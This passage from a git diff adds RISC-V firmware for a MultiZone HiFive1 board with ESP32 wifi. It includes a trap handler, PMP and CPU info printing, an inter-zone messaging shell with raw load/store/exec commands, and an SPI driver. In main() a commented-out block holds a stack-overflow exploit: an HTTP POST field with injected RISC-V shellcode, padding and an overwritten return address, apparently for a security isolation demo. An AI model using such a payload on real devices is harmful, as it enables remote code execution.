PLIC complete + return; + + default : printf("Exception : 0x%08x 0x%08x 0x%08x \n", mcause, mepc, mtval); + + } + + printf("Press any key to restart \n"); + char c='\0'; while(read(0, &c, 1) ==0 ){;} asm ("j _start"); // blocking loop + +} + +// ------------------------------------------------------------------------ + void print_cpu_info(void) { +// ------------------------------------------------------------------------ + + // misa + const unsigned long misa = CSRR(misa); + const int xlen = ((misa >> __riscv_xlen-2)&0b11)==1 ? 32 : + ((misa >> __riscv_xlen-2)&0b11)==2 ? 64 : + ((misa >> __riscv_xlen-2)&0b11)==1 ? 128 : + 0 ; + char misa_str[26+1]=""; + for (int i=0, j=0; i<26; i++) + if ( (misa & (1ul << i)) !=0){ + misa_str[j++]=(char)('A'+i); misa_str[j]='\0'; + } + printf("Machine ISA : 0x%08x RV%d %s \n", (int)misa, xlen, misa_str); + + // mvendid + const unsigned long mvendorid = CSRR(mvendorid); + const char *mvendorid_str = (mvendorid==0x10e31913 ? "SiFive, Inc.\0" : + mvendorid==0x489 ? "SiFive, Inc.\0" : + mvendorid==0x57c ? "Hex Five, Inc.\0" : + "\0"); + printf("Vendor : 0x%08x %s \n", (int)mvendorid, mvendorid_str); + + // marchid + const unsigned long marchid = CSRR(marchid); + const char *marchid_str = (mvendorid==0x489 && (int)misa==0x40101105 && marchid==0x80000002 ? "E21\0" : + mvendorid==0x489 && (int)misa==0x40101105 && marchid==0x00000001 ? "E31\0" : + mvendorid==0x489 && misa==0x8000000000101105 && marchid==0x00000001 ? "S51\0" : + mvendorid==0x57c && (int)misa==0x40101105 && marchid==0x00000001 ? "X300\0" : + "\0"); + printf("Architecture : 0x%08x %s \n", (int)marchid, marchid_str); + + // mimpid + printf("Implementation: 0x%08x \n", CSRR(mimpid) ); + + // mhartid + printf("Hart id : 0x%1x \n", CSRR(mhartid) ); + + // CPU clk + printf("CPU clock : %d MHz \n", (int)(CPU_FREQ/1E+6) ); + + // RTC clk + printf("RTC clock : %d KHz \n", (int)(RTC_FREQ/1E+3) ); + +} + +// ------------------------------------------------------------------------ + int cmpfunc(const void* a, const void* b){ + + const int ai = *(const int* )a; + const int bi = *(const int* )b; + return ai < bi ? -1 : ai > bi ? 1 : 0; +} + +// ------------------------------------------------------------------------ +void print_stats(void){ + + #define MHZ (CPU_FREQ/1000000) + const int COUNT = 11; // odd values for accurate median + int cycles[COUNT], instrs[COUNT]; + + for (int i=0; i<COUNT; i++){ + + const unsigned long I1 = MZONE_CSRR(CSR_MINSTRET); + const unsigned long C1 = MZONE_CSRR(CSR_MCYCLE); + MZONE_YIELD(); + const unsigned long I2 = MZONE_CSRR(CSR_MINSTRET); + const unsigned long C2 = MZONE_CSRR(CSR_MCYCLE); + + cycles[i] = C2-C1; instrs[i] = I2-I1; + + } + + int max_cycle = 0; + for (int i=0; i<COUNT; i++) max_cycle = (cycles[i] > max_cycle ? cycles[i] : max_cycle); + char str[16]; sprintf(str, "%lu", max_cycle); const int col_len = strlen(str); + + for (int i=0; i<COUNT; i++) + printf("%*d instr %*d cycles %*d us \n", col_len, instrs[i], col_len, cycles[i], col_len, cycles[i]/MHZ); + + qsort(cycles, COUNT, sizeof(int), cmpfunc); + qsort(instrs, COUNT, sizeof(int), cmpfunc); + + printf("-----------------------------------------\n"); + int min = instrs[0], med = instrs[COUNT/2], max = instrs[COUNT-1]; + printf("instrs min/med/max = %d/%d/%d \n", min, med, max); + min = cycles[0], med = cycles[COUNT/2], max = cycles[COUNT-1]; + printf("cycles min/med/max = %d/%d/%d \n", min, med, max); + printf("time min/med/max = %d/%d/%d us \n", min/MHZ, med/MHZ, max/MHZ); + + // Kernel stats (#ifdef STATS) + const unsigned irq_instr_min = (unsigned)(MZONE_CSRR(CSR_MHPMCOUNTER26) & 0xFFFF); + const unsigned irq_instr_max = (unsigned)(MZONE_CSRR(CSR_MHPMCOUNTER26) >>16); + const unsigned irq_cycle_min = (unsigned)(MZONE_CSRR(CSR_MHPMCOUNTER27) & 0xFFFF); + const unsigned irq_cycle_max = (unsigned)(MZONE_CSRR(CSR_MHPMCOUNTER27) >>16); + const unsigned long instr_min = MZONE_CSRR(CSR_MHPMCOUNTER28); + const unsigned long instr_max = MZONE_CSRR(CSR_MHPMCOUNTER29); + const unsigned long cycle_min = MZONE_CSRR(CSR_MHPMCOUNTER30); + const unsigned long cycle_max = MZONE_CSRR(CSR_MHPMCOUNTER31); // <= reset kern stats + + if (instr_min>0){ + + printf("\n"); + printf("Kernel time\n"); + printf("-----------------------------------------\n"); + printf("instrs min/max = %lu/%lu \n", instr_min, instr_max); + printf("cycles min/max = %lu/%lu \n", cycle_min, cycle_max); + printf("time min/max = %lu/%lu us\n", cycle_min/MHZ, cycle_max/MHZ); + + printf("\n"); + printf("IRQ latency\n"); + printf("-----------------------------------------\n"); + printf("instrs min/max = %d/%d \n", irq_instr_min, irq_instr_max); + printf("cycles min/max = %d/%d \n", irq_cycle_min, irq_cycle_max); + printf("time min/max = %d/%d us\n", irq_cycle_min/MHZ, irq_cycle_max/MHZ); + + } + +} + +// ------------------------------------------------------------------------ +void print_pmp(void){ +// ------------------------------------------------------------------------ + + #define TOR 0b00001000 + #define NA4 0b00010000 + #define NAPOT 0b00011000 + + #define PMP_R 1<<0 + #define PMP_W 1<<1 + #define PMP_X 1<<2 + + uint64_t pmpcfg=0x0; +#if __riscv_xlen==32 + uint32_t pmpcfg0; asm ( "csrr %0, pmpcfg0" : "=r"(pmpcfg0) ); + uint32_t pmpcfg1; asm ( "csrr %0, pmpcfg1" : "=r"(pmpcfg1) ); + pmpcfg = pmpcfg1; + pmpcfg <<= 32; + pmpcfg |= pmpcfg0; +#else + asm ( "csrr %0, pmpcfg0" : "=r"(pmpcfg) ); +#endif + + unsigned long pmpaddr[8]; + asm ( "csrr %0, pmpaddr0" : "=r"(pmpaddr[0]) ); + asm ( "csrr %0, pmpaddr1" : "=r"(pmpaddr[1]) ); + asm ( "csrr %0, pmpaddr2" : "=r"(pmpaddr[2]) ); + asm ( "csrr %0, pmpaddr3" : "=r"(pmpaddr[3]) ); + asm ( "csrr %0, pmpaddr4" : "=r"(pmpaddr[4]) ); + asm ( "csrr %0, pmpaddr5" : "=r"(pmpaddr[5]) ); + asm ( "csrr %0, pmpaddr6" : "=r"(pmpaddr[6]) ); + asm ( "csrr %0, pmpaddr7" : "=r"(pmpaddr[7]) ); + + for (int i=0; i<8; i++){ + + const uint8_t cfg = (pmpcfg >> 8*i); if (cfg==0x0) continue; + + char rwx[3+1] = {cfg & PMP_R ? 'r':'-', cfg & PMP_W ? 'w':'-', cfg & PMP_X ? 'x':'-', '\0'}; + + unsigned long start=0, end=0; + + char type[5+1]=""; + + if ( (cfg & (TOR | NA4 | NAPOT)) == TOR){ + start = pmpaddr[i-1]<<2; + end = (pmpaddr[i]<<2) -1; + strcpy(type, "TOR"); + + } else if ( (cfg & (TOR | NA4 | NAPOT)) == NA4){ + start = pmpaddr[i]<<2; + end = start+4 -1; + strcpy(type, "NA4"); + + } else if ( (cfg & (TOR | NA4 | NAPOT)) == NAPOT){ + for (int j=0; j<__riscv_xlen; j++){ + if ( ((pmpaddr[i] >> j) & 0x1) == 0){ + const uint64_t size = 1 << (3+j); + start = (pmpaddr[i] >>j) <<(j+2); + end = start + size -1; + strcpy(type, "NAPOT"); + break; + } + } + + } else break; + + printf("0x%08x 0x%08x %s %s \n", (unsigned long)start, (unsigned int)end, rwx, type); + + } + +} + +// ------------------------------------------------------------------------ +void msg_handler() { + + typedef enum {zone1=1, zone2, zone3, zone4} Zone; + + for (Zone zone=zone1; zone<=zone4; zone++){ + + char msg[16]={0}; + + if (MZONE_RECV(zone, msg)) { + + if (strcmp("ping", msg) == 0) { + MZONE_SEND(zone, "pong"); + + } else { + write(1, "\e7\e[2K", 6); // save curs pos & clear entire line + printf("\rZ%d > %.16s\n", zone, msg); + write(1, "\nZ1 > ", 6); write(1, inputline, strlen(inputline)); + write(1, "\e8\e[2B", 6); // restore curs pos & curs down 2x + } + + + } + + } + +} + +// ------------------------------------------------------------------------ +void cmd_handler(){ + + const char * tk[4] = { strtok(inputline, " "), strtok(NULL, " "), strtok(NULL, " "), strtok(NULL, " ")}; + + if (tk[0] == NULL) tk[0] = "help"; + + // -------------------------------------------------------------------- + if (strcmp(tk[0], "load")==0){ + // -------------------------------------------------------------------- + if (tk[1] != NULL){ + uint8_t data = 0x00; + const unsigned long addr = strtoul(tk[1], NULL, 16); + asm ("lbu %0, (%1)" : "+r"(data) : "r"(addr)); + printf("0x%08x : 0x%02x \n", (unsigned int)addr, data); + } else printf("Syntax: load address \n"); + + // -------------------------------------------------------------------- + } else if (strcmp(tk[0], "store")==0){ + // -------------------------------------------------------------------- + if (tk[1] != NULL && tk[2] != NULL){ + const uint32_t data = (uint32_t)strtoul(tk[2], NULL, 16); + const unsigned long addr = strtoul(tk[1], NULL, 16); + + if ( strlen(tk[2]) <=2 ) + asm ( "sb %0, (%1)" : : "r"(data), "r"(addr)); + else if ( strlen(tk[2]) <=4 ) + asm ( "sh %0, (%1)" : : "r"(data), "r"(addr)); + else + asm ( "sw %0, (%1)" : : "r"(data), "r"(addr)); + + printf("0x%08x : 0x%02x \n", (unsigned int)addr, (unsigned int)data); + } else printf("Syntax: store address data \n"); + + // -------------------------------------------------------------------- + } else if (strcmp(tk[0], "exec")==0){ + // -------------------------------------------------------------------- + if (tk[1] != NULL){ + const unsigned long addr = strtoul(tk[1], NULL, 16); + asm ( "jr (%0)" : : "r"(addr)); + } else printf("Syntax: exec address \n"); + +#ifdef DMA_REG + // -------------------------------------------------------------------- + } else if (strcmp(tk[0], "dma")==0){ + // -------------------------------------------------------------------- + if (tk[1] != NULL && tk[2] != NULL && tk[3] != NULL){ + DMA_REG(DMA_TR_SRC_OFF) = strtoul(tk[1], NULL, 16); + DMA_REG(DMA_TR_DEST_OFF) = strtoul(tk[2], NULL, 16); + DMA_REG(DMA_TR_SIZE_OFF) = strtoul(tk[3], NULL, 16); + DMA_REG(DMA_CH_CTRL_OFF) = 0b0001; // en irqs & start transfer + } else printf("Syntax: dma source dest size \n"); +#endif + + // -------------------------------------------------------------------- + } else if (strcmp(tk[0], "send")==0){ + // -------------------------------------------------------------------- + if (tk[1] != NULL && tk[1][0]>='1' && tk[1][0]<='4' && tk[2] != NULL){ + char msg[16]; strncpy(msg, tk[2], 16); + if (!MZONE_SEND( tk[1][0]-'0', msg) ) + printf("Error: Inbox full.\n"); + } else printf("Syntax: send {1|2|3|4} message \n"); + + // -------------------------------------------------------------------- + } else if (strcmp(tk[0], "recv")==0){ + // -------------------------------------------------------------------- + if (tk[1] != NULL && tk[1][0]>='1' && tk[1][0]<='4'){ + char msg[16]; + if (MZONE_RECV(tk[1][0]-'0', msg)) + printf("msg : %.16s\n", msg); + else + printf("Error: Inbox empty.\n"); + } else printf("Syntax: recv {1|2|3|4} \n"); + + // -------------------------------------------------------------------- + } else if (strcmp(tk[0], "yield")==0){ + // -------------------------------------------------------------------- + const unsigned long C1 = MZONE_CSRR(CSR_MCYCLE); + MZONE_YIELD(); + const unsigned long C2 = MZONE_CSRR(CSR_MCYCLE); + const unsigned long C = C2-C1; + const int T = C/(CPU_FREQ/1000000); + printf( (C>0 ? "yield : elapsed cycles %d / time %dus \n" : "yield : n/a \n"), C, T); + + // -------------------------------------------------------------------- + } else if (strcmp(tk[0], "timer")==0){ + // -------------------------------------------------------------------- + if (tk[1] != NULL){ + const uint64_t ms = abs(strtoull(tk[1], NULL, 10)); + const uint64_t T0 = MZONE_RDTIME(); + const uint64_t T1 = T0 + ms*RTC_FREQ/1000; + MZONE_WRTIMECMP(T1); + printf("timer set T0=%lu, T1=%lu \n", (unsigned long)(T0*1000/RTC_FREQ), + (unsigned long)(T1*1000/RTC_FREQ) ); + CSRS(mie, 1<<7); + } else printf("Syntax: timer ms \n"); + + // -------------------------------------------------------------------- + } else if (strcmp(tk[0], "stats")==0) print_stats(); + // -------------------------------------------------------------------- + + // -------------------------------------------------------------------- + else if (strcmp(tk[0], "restart")==0) asm ("j _start"); + // -------------------------------------------------------------------- + + // -------------------------------------------------------------------- + else if (strcmp(tk[0], "pmp")==0) print_pmp(); + // -------------------------------------------------------------------- + + // -------------------------------------------------------------------- + else if (strcmp(tk[0], "ecall")==0) asm ("ecall"); // test + // -------------------------------------------------------------------- + + // -------------------------------------------------------------------- + else if (strcmp(tk[0], "csrr")==0){ // test + // -------------------------------------------------------------------- + volatile unsigned long regval; + unsigned long C0 = MZONE_CSRR(CSR_MCYCLE); + //asm volatile( "csrr %0, ustatus" : "=r"(regval) ); // illegal + asm volatile( "csrr %0, mip" : "=r"(regval) ); + //regval = CSRR(mip); + //regval = MZONE_CSRR(CSR_MIP); + unsigned long C1 = MZONE_CSRR(CSR_MCYCLE); + printf( "0x%08x (%d cycles) \n", regval, (int)(C1-C0) ); + + } else { + printf("Commands: yield send recv pmp load store exec stats timer restart "); +#ifdef DMA_REG + printf("dma "); +#endif + printf("\n"); + } + +} + +// ------------------------------------------------------------------------ +int readline() { +// ------------------------------------------------------------------------ + + static int p=0; + static int esc=0; + static char history[8][sizeof(inputline)]={"","","","","","","",""}; static int h=-1; + + int eol = 0; // end of line + + while ( !eol && buffer.w > buffer.r ) { + + PLIC_REG(PLIC_EN_OFFSET) &= ~(1 << PLIC_UART_RX_SOURCE); //CSRC(mie, 1<<11); + const char c = buffer.data[buffer.r++]; + if (buffer.r >= buffer.w) {buffer.r = 0; buffer.w = 0;} + PLIC_REG(PLIC_EN_OFFSET) |= 1 << PLIC_UART_RX_SOURCE; //CSRS(mie, 1<<11); + + if (c=='\e'){ + esc=1; + + } else if (esc==1 && c=='['){ + esc=2; + + } else if (esc==2 && c=='3'){ + esc=3; + + } else if (esc==3 && c=='~'){ // del key + for (int i=p; i<strlen(inputline); i++) inputline[i]=inputline[i+1]; + write(1, "\e7", 2); // save curs pos + write(1, "\e[K", 3); // clear line from curs pos + write(1, &inputline[p], strlen(inputline)-p); + write(1, "\e8", 2); // restore curs pos + esc=0; + + } else if (esc==2 && c=='C'){ // right arrow + esc=0; + if (p < strlen(inputline)){ + p++; + write(1, "\e[C", 3); + } + + } else if (esc==2 && c=='D'){ // left arrow + esc=0; + if (p>0){ + p--; + write(1, "\e[D", 3); + } + + } else if (esc==2 && c=='A'){ // up arrow (history) + esc=0; + if (h<8-1 && strlen(history[h+1])>0){ + h++; + strcpy(inputline, history[h]); + write(1, "\e[2K", 4); // 2K clear entire line - cur pos dosn't change + write(1, "\rZ1 > ", 6); + write(1, inputline, strlen(inputline)); + p=strlen(inputline); + + } + + } else if (esc==2 && c=='B'){ // down arrow (history) + esc=0; + if (h>0 && strlen(history[h-1])>0){ + h--; + strcpy(inputline, history[h]); + write(1, "\e[2K", 4); // 2K clear entire line - cur pos dosn't change + write(1, "\rZ1 > ", 6); + write(1, inputline, strlen(inputline)); + p=strlen(inputline); + } + + } else if ((c=='\b' || c=='\x7f') && p>0 && esc==0){ // backspace + p--; + for (int i=p; i<strlen(inputline); i++) inputline[i]=inputline[i+1]; + write(1, "\e[D", 3); + write(1, "\e7", 2); + write(1, "\e[K", 3); + write(1, &inputline[p], strlen(inputline)-p); + write(1, "\e8", 2); + + } else if (c>=' ' && c<='~' && p < sizeof(inputline)-1 && esc==0){ + for (int i = sizeof(inputline)-1-1; i > p; i--) inputline[i]=inputline[i-1]; // make room for 1 ch + inputline[p]=c; + write(1, "\e7", 2); // save curs pos + write(1, "\e[K", 3); // clear line from curs pos + write(1, &inputline[p], strlen(inputline)-p); p++; + write(1, "\e8", 2); // restore curs pos + write(1, "\e[C", 3); // move curs right 1 pos + + } else if (c=='\r') { + p=0; esc=0; eol = 1; + // trim + while (inputline[strlen(inputline)-1]==' ') inputline[strlen(inputline)-1]='\0'; + while (inputline[0]==' ') for (int i = 0; i < strlen(inputline); i++) inputline[i]=inputline[i+1]; + // save line to history + if (strlen(inputline)>0 && strcmp(inputline, history[0])!=0){ + for (int i = 8-1; i > 0; i--) strcpy(history[i], history[i-1]); + strcpy(history[0], inputline); + } h = -1; + write(1, "\n", 1); + + } else + esc=0; + + } + + return eol; + +} + +// ------------------------------------------------------------------------ +int main (void) { + + //while(1) MZONE_WFI(); + //while(1) MZONE_YIELD(); + //while(1); + + CSRW(mtvec, trap_handler); // register trap handler + CSRS(mie, 1<<11 | 1<<3); // enable external interrupts (PLIC/UART, SW/DMA) + CSRS(mstatus, 1<<3); // enable global interrupts (PLIC, TMR, SW) + + // Enable UART RX IRQ (PLIC) + PLIC_REG(PLIC_PRI_OFFSET + (PLIC_UART_RX_SOURCE << PLIC_PRI_SHIFT_PER_SOURCE)) = 1; + PLIC_REG(PLIC_EN_OFFSET) |= 1 << PLIC_UART_RX_SOURCE; + + LED_off(LED_ALL); + LED_on(LED_RED); + + cpu_clock_init(); + uart_init(BAUDRATE_115200); + + delay(STARTUP_DELAY); + + spi_init(SPICLOCK_80KHZ); + + /* + char *raw_attack = "name=" + "X" // padding to align the instructions + + "%37%05%01%20" // 0: lui a0,0x20010 + "%13%05%05%36" // 4: addi a0,a0,864 # 0x20010360 + "%37%2e%01%20" // 8: lui t3,0x20012 + "%13%0e%ee%14" // c: addi t3,t3,334 # 0x2001214e + "%e7%0e%0e%00" // 10: jalr t4,t3 + + "XXXX" // padding to overwrite the return address + "XXXX" // padding to overwrite the return address + "XXXX" // padding to overwrite the return address + "XXXX" // padding to overwrite the return address + "XXXX" // padding to overwrite the return address + "XXXX" // padding to overwrite the return address + "XXXX" // padding to overwrite the return address + "XXXX" // padding to overwrite the return address + "XXXX" // padding to overwrite the return address + "XXXX" // padding to overwrite the return address + "XXXX" // padding to overwrite the return address + "XXXX" // padding to overwrite the return address + "XXXX" // padding to overwrite the return address + "XXXX" // padding to overwrite the return address + "XXXX" // padding to overwrite the return address + "XXXX" // padding to overwrite the return address + "XXXX" // padding to overwrite the return address + "XXXX" // padding to overwrite the return address + "XXXX" // padding to overwrite the return address + "XXXX" // padding to overwrite the return address + "XXXX" // padding to overwrite the return address + "XXXX" // padding to overwrite the return address + "XXXX" // padding to overwrite the return address + "XXXX" // padding to overwrite the return address + "XXXX" // padding to overwrite the return address + "XXXX" // padding to overwrite the return address + "XXXX" // padding to overwrite the return address + "XXXX" // padding to overwrite the return address + + "%60%0f%00%80" // the new frame pointer: 0x80000f60 + "%94%0e%00%80" // the new return address: 0x80000e94 + ; + uint32_t raw_attack_len = strlen(raw_attack); + char *attack = malloc(raw_attack_len); + memcpy(attack, raw_attack, raw_attack_len); + bool free_result; + uint32_t out_len; + char *result = server_request_handler("/", POST_REQUEST, attack, raw_attack_len, &out_len, &free_result); + + printf("out_len: %d\r\n", out_len); + printf("result: "); + for (int i = 0; i < out_len; ++i) { + printf("%c", result[i]); + } + */ + printf("result: "); + if(webserver_init(ESP32_NETWORK_IMPLEMENTATION) != 0) { + return 1; + } + printf("2 "); + LED_off(LED_RED); + LED_on(LED_BLUE); + printf("3"); + webserver_run(server_request_handler); + + LED_off(LED_BLUE); + LED_on(LED_GREEN); + + return 0; + +} + + diff --git a/multizone_wifi/zone1/spi.c b/multizone_wifi/zone1/spi.c new file mode 100644 index 0000000000000000000000000000000000000000..7004e43085b9f0b6383ddc8290dc3829f6856b3b --- /dev/null +++ b/multizone_wifi/zone1/spi.c @@ -0,0 +1,363 @@ +/* ------------------------------------------------------------------------ +GPIO 3 = SPI MOSI +GPIO 4 = SPI MISO +GPIO 5 = SPI SCK +GPIO 9 = SPI CS2 (Chip select) +GPIO 10 = WF INT (Handshake) + +Each GPIO pin can implement up to 2 HW-Driven functions (IOF): + +GPIO IOF0 +3 SPI1_DQ0 (MOSI) +4 SPI1_DQ1 (MISO) +5 SPI1_SCK (CLOCK) +9 SPI1_CS2 (CHIP SELECT) + +- ESP32 is slave +- Hifive1 FE310-G002 is master + +For receiving part in ESP32, see: +https://github.com/espressif/esp-at/blob/release/v1.1.0.0/main/interface/hspi/at_hspi_task.c +https://www.espressif.com/sites/default/files/documentation/esp32_technical_reference_manual_en.pdf +------------------------------------------------------------------------*/ + +#include <stdint.h> +#include <string.h> +#include <stdio.h> +#include "spi.h" +#include "cpu.h" + + +#define IOF_EN *(volatile uint32_t*)0x10012038 +#define IOF_SEL *(volatile uint32_t*)0x1001203C +#define INPUT_VAL *(volatile uint32_t*)0x10012000 +#define INPUT_EN *(volatile uint32_t*)0x10012004 +//#define VERBOSITY 3 + +#define SPI1_FMT *(volatile uint32_t*)0x10024040 +#define PROTO_I 0U +#define ENDIAN_I 2U +#define DIR_I 3U +#define LEN_I 16U + +#define SPI1_SCKDIV *(volatile uint32_t*)0x10024000 +#define SPI1_CSID *(volatile uint32_t*)0x10024010 +#define SPI1_CSDEF *(volatile uint32_t*)0x10024014 +#define SPI1_CSMODE *(volatile uint32_t*)0x10024018 +#define SPI1_FCTRL *(volatile uint32_t*)0x10024060 +#define SPI1_RXDATA *(volatile uint32_t*)0x1002404C +#define SPI1_TXDATA *(volatile uint32_t*)0x10024048 + +#define BITS(idx, val) ((val) << (idx)) + +#define BIT_MASK(bit) (1UL<<(bit)) +#define SPI_DELAY 100 +#define SPI_DELAY_LONG 10000 + +#define HS_PIN 10 +#define SPI1_DQ0_MOSI 3 +#define SPI1_DQ1_MISO 4 +#define SPI1_SCK 5 +#define SPI1_CS2 9 + +#define CS_AUTO 0 +#define CS_HOLD 2 +#define CS_OFF 3 + +#define IOF_SPI_ENABLE (BIT_MASK(SPI1_DQ0_MOSI) | BIT_MASK(SPI1_DQ1_MISO) | BIT_MASK(SPI1_SCK)| BIT_MASK(SPI1_CS2)) + +#ifdef __ICCRISCV__ +#define fflush(a) +#endif + +static uint32_t handshake_ready(void); +static uint8_t spi_rxdata_read(void); +static void cs_deassert(void); +static void spi_xfer_recv_header(void); +static void spi_xfer_recv_length(uint32_t len); + +static trans_t transparent; // 0: Disabled, 1: Enabled, 2: Ending + +//---------------------------------------------------------------------- +void spi_init(uint32_t spi_clock) +{ + IOF_EN &= ~BIT_MASK(HS_PIN); // Make sure Handshake pin is GPIO + INPUT_EN |= BIT_MASK(HS_PIN); // Handshake pin is input on master + + SPI1_FCTRL = 0; // 1:SPI flash mode, 0:programmed I/O mode + + // PROTO_I = 0 : SPI single mode + // ENDIAN_I = 0 : MSB + // DIR_I = 0 : Rx: The DQ0 pin is driven with the transmit data as normal. + SPI1_FMT = BITS(LEN_I, 8); // 8 bits per frame + + SPI1_CSDEF = 0xFFFFFFFFUL; // CS inactive state high + SPI1_CSMODE = CS_AUTO; + SPI1_CSID = 2; // index of the CS pin to be toggled (CS2) + + // Set SPI clock + SPI1_SCKDIV = (cpu_freq() / (2UL * spi_clock)) - 1UL; + delay(SPI_DELAY); + + // Select HW I/O function 0 (IOF0) for all pins. + // IOF0 means SPI mode for GPIO pins 2-10. + IOF_SEL = 0; + +#if VERBOSITY > 2 + printf("[+] Enabling IOF/SPI pins..."); +#endif + delay(SPI_DELAY); + + // Enable IOF for pin 3,4,5,9 (don't touch other pins) + IOF_EN |= IOF_SPI_ENABLE; + +#if VERBOSITY > 2 + printf("DONE\r\n"); +#endif +} + +//---------------------------------------------------------------------- +static void cs_deassert(void) +{ + delay(SPI_DELAY_LONG); // Wait for CS to AUTO deassert +} + +//---------------------------------------------------------------------- +// Reads one byte from the SPI RX register +//---------------------------------------------------------------------- +static uint8_t spi_rxdata_read(void) +{ + uint32_t c; + + while (1) { + c = SPI1_RXDATA; // Read the RX register EXACTLY once + if (c <= 0xFF) { // empty bit was not set, return the data + return (uint8_t)c; + } + } +} + +//---------------------------------------------------------------------- +// Returns 1 if handshake pin is high (ready) +//---------------------------------------------------------------------- +static uint32_t handshake_ready(void) +{ + return ((INPUT_VAL & BIT_MASK(HS_PIN)) != 0) ? 1: 0; +} + +static void handshake_wait(void) +{ +#if VERBOSITY > 2 + printf(" | Waiting for handshake pin ready..."); +#endif + fflush(stdout); + while (!handshake_ready()) {} +#if VERBOSITY > 2 + printf("DONE\r\n"); +#endif +} + +//---------------------------------------------------------------------- +// Transfer a header where "0x02" tells ESP32 to receive an AT command +//---------------------------------------------------------------------- +static void spi_xfer_recv_header(void) +{ + const uint8_t at_flag_buf[] = {0x02, 0x00, 0x00, 0x00}; + +#if VERBOSITY > 2 + printf(" | spi_xfer_recv_header: sending: %02x %02x %02x %02x\r\n", + at_flag_buf[0], at_flag_buf[1], at_flag_buf[2], at_flag_buf[3]); +#endif + + for (uint32_t i = 0; i < 4; i++) { + while (SPI1_TXDATA > 0xFF) {} // full bit set, wait + SPI1_TXDATA = at_flag_buf[i]; + spi_rxdata_read(); + } + + cs_deassert(); + handshake_wait(); +} + +//---------------------------------------------------------------------- +// Transfer the length of the AT command +//---------------------------------------------------------------------- +static void spi_xfer_recv_length(uint32_t len) +{ + uint8_t len_buf[] = {0x00, 0x00, 0x00, 'A'}; + + // Slice length if larger than 127 + len_buf[0] = len & 127; + len_buf[1] = len >> 7; + +#if VERBOSITY > 2 + printf(" | spi_send length: sending: (%u) %02x %02x %02x %02x\r\n", + (len_buf[1] << 7) + len_buf[0], len_buf[0], len_buf[1], len_buf[2], len_buf[3]); +#endif + + for (uint32_t i = 0; i < 4; i++) { + while (SPI1_TXDATA > 0xFF) {} // full bit set, wait + SPI1_TXDATA = len_buf[i]; + spi_rxdata_read(); + } + + cs_deassert(); + handshake_wait(); +} + +//---------------------------------------------------------------------- +// Send a string (AT command) on SPI to ESP32 +//---------------------------------------------------------------------- +void spi_send(const char *str_p) +{ + uint32_t len; + + len = strlen(str_p); + + spi_send_with_len(str_p, len); +} + +void spi_send_with_len(const char *str_p, uint32_t len) +{ + if (transparent == TRANS_ENDING) { + transparent = TRANS_OFF; + } + +#if VERBOSITY > 2 + printf("[+] spi_send: %s", str_p); +#endif + + if (strcmp(str_p, "AT+CIPSEND\r\n") == 0) { + printf(" | -- Transparent mode ENABLED. End with \"+++\"\r\n"); + transparent = TRANS_ON; + } else if (strcmp(str_p, "+++\r\n") == 0) { + printf(" | -- Transparent mode DISABLED --\r\n"); + transparent = TRANS_ENDING; // End transparent mode next transfer + len = 3; // CR+LF bytes must not be sent with +++ + } + + // 1. Send the header where 0x02 tells ESP32 to receive a command + spi_xfer_recv_header(); + + // 2. Send the length of data, len_buf[3] must be 'A' + spi_xfer_recv_length(len); + + // 3. Send the actual data +#if VERBOSITY > 2 + printf(" | spi_send data: sending:\r\n"); + for (uint32_t i = 0; i < len; i++) { + if (i && (i%8==0)) { + printf("\r\n"); + } + printf(" %02x", str_p[i]); + } + printf("\r\n"); +#endif + + for (uint32_t i = 0; i < len; i++) { + while (SPI1_TXDATA > 0xFF) {} // full bit set, wait + SPI1_TXDATA = str_p[i]; + spi_rxdata_read(); + } + + cs_deassert(); + + if (transparent == TRANS_OFF) { + handshake_wait(); + } +} + +//---------------------------------------------------------------------- +// Transfer a header where "0x01" tells ESP32 to send a response +//---------------------------------------------------------------------- +static void spi_xfer_send_header(void) +{ + const uint8_t at_flag_buf[] = {0x01, 0x00, 0x00, 0x00}; + +#if VERBOSITY > 2 + printf("[+] spi_xfer_send_header: sending: %02x %02x %02x %02x\r\n", + at_flag_buf[0], at_flag_buf[1], at_flag_buf[2], at_flag_buf[3]); +#endif + + for (uint32_t i = 0; i < 4; i++) { + while (SPI1_TXDATA > 0xFF) {} // full bit set, wait + SPI1_TXDATA = at_flag_buf[i]; + spi_rxdata_read(); + } + + cs_deassert(); + handshake_wait(); +} + +//---------------------------------------------------------------------- +// Receive a response on SPI from the ESP32 +//---------------------------------------------------------------------- +void spi_recv(char *str_p, uint32_t buf_size, uint32_t *len) +{ + uint8_t len_buf[] = {0x00, 0x00, 0x00, 0x00}; + uint32_t data_len = 0; + + // 1. Send the header where 0x01 tells ESP to send a response + spi_xfer_send_header(); + + // 2. Get the length of data, len_buf[3] should be 'B' + for (uint32_t i = 0; i < 4; i++) { + while (SPI1_TXDATA > 0xFF) {} // full bit set, wait + SPI1_TXDATA = 0x00; + len_buf[i] = spi_rxdata_read(); + } + + data_len = (len_buf[1] << 7) + len_buf[0]; + cs_deassert(); +#if VERBOSITY > 2 + printf(" | spi_recv length: %u, %c\r\n", data_len, len_buf[3]); +#endif + handshake_wait(); + + // 3. Get the actual data + for (uint32_t i = 0; i < data_len && i < buf_size; i++) { + while (SPI1_TXDATA > 0xFF) {} // full bit set, wait + SPI1_TXDATA = 0x00; + str_p[i] = spi_rxdata_read(); + } + + if (data_len < buf_size) { + str_p[data_len] = '\0'; + } + + if(len != NULL) { + *len = data_len; + } + + cs_deassert(); +#if VERBOSITY > 2 + printf(" | -- ESP32 ----> %s", (data_len > 2) ? str_p : "\r\n"); +#endif +} + +uint32_t spi_read_ready(void) { + return handshake_ready(); +} + +//---------------------------------------------------------------------- +// Returns 1 if transparent transmission is enabled. 0 if not. +//---------------------------------------------------------------------- +trans_t spi_transparent(void) +{ + return transparent; +} + +/* ---------------------------------------------------------------------- + * From https://github.com/sifive/riscv-zephyr/blob/hifive1-revb/drivers/wifi/eswifi/eswifi_bus_spi.c + * CMD/DATA protocol: + * 1. Module raises data-ready when ready for **command phase** + * 2. Host announces command start by lowering chip-select (csn) + * 3. Host write the command (possibly several spi transfers) + * 4. Host announces end of command by raising chip-select + * 5. Module lowers data-ready signal + * 6. Module raises data-ready to signal start of the **data phase** + * 7. Host lowers chip-select + * 8. Host fetch data as long as data-ready pin is up + * 9. Module lowers data-ready to signal the end of the data Phase + * 10. Host raises chip-select + */ diff --git a/multizone_wifi/zone1/spi.h b/multizone_wifi/zone1/spi.h new file mode 100644 index 0000000000000000000000000000000000000000..38ff651f57f9c527c73b188b1b4aca6c5681c2ad --- /dev/null +++ b/multizone_wifi/zone1/spi.h @@ -0,0 +1,20 @@ 